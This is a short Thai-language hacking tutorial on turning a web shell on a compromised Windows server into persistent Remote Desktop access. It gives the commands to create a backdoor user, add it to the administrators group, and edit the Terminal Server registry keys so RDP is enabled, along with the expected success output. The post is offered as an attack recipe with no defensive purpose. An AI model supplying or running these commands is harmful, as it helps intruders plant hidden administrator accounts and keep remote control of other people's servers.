แฮ็ค VPS/RDP จาก Shell [ WINDOWS server ]

แฮ็ค VPS/RDP จาก Shell [ WINDOWS server ]

1. Execute คำสั่ง ไปใน Shell ในช่อง execute command เพื่อสร้าง user ใหม่เข้าไปในเซิฟ

Code:

net user icode p4ssw0rd /add

* icode คือ username
* p4ssw0rd คือ password

ถ้า execute คำสั่งผ่านจะขึ้นว่า

Code:

The command completed successfully.

*ถ้าไม่ได้แสดงว่าเซิฟนั้นบล๊อคไม่ได้ยูเซอร์ธรรมดาใช้งาน cmd

2.พอสร้างuser ได้แล้วต้องมาเพิ่มuser นั้นไปในกลุ่มของ administrator

ใส่คำสั่งนี้ไปช่อง execute command ใน shell

Code:

net localgroup administrators icode /add

3. เราจะได้ user ที่ชื่อ icode เป็น admin ของเซิฟนั้นแล้ว แล้วก็สามารถเชื่อมต่อ VPS/RDP ได้

เปิดโปรแกรม Remote Desktop Connection ในวินโดวแล้วเชื่อมต่อด้วย รหัสนั้นได้เลย



*** ถ้า VPS ในเครื่องนั้นไม่ได้ถูกเปิด ให้ Remote ได้ ใช้ 2 คำสั่งนี้เพื่อเปิด

Code:

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

Code:

reg add "hklm\system\currentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f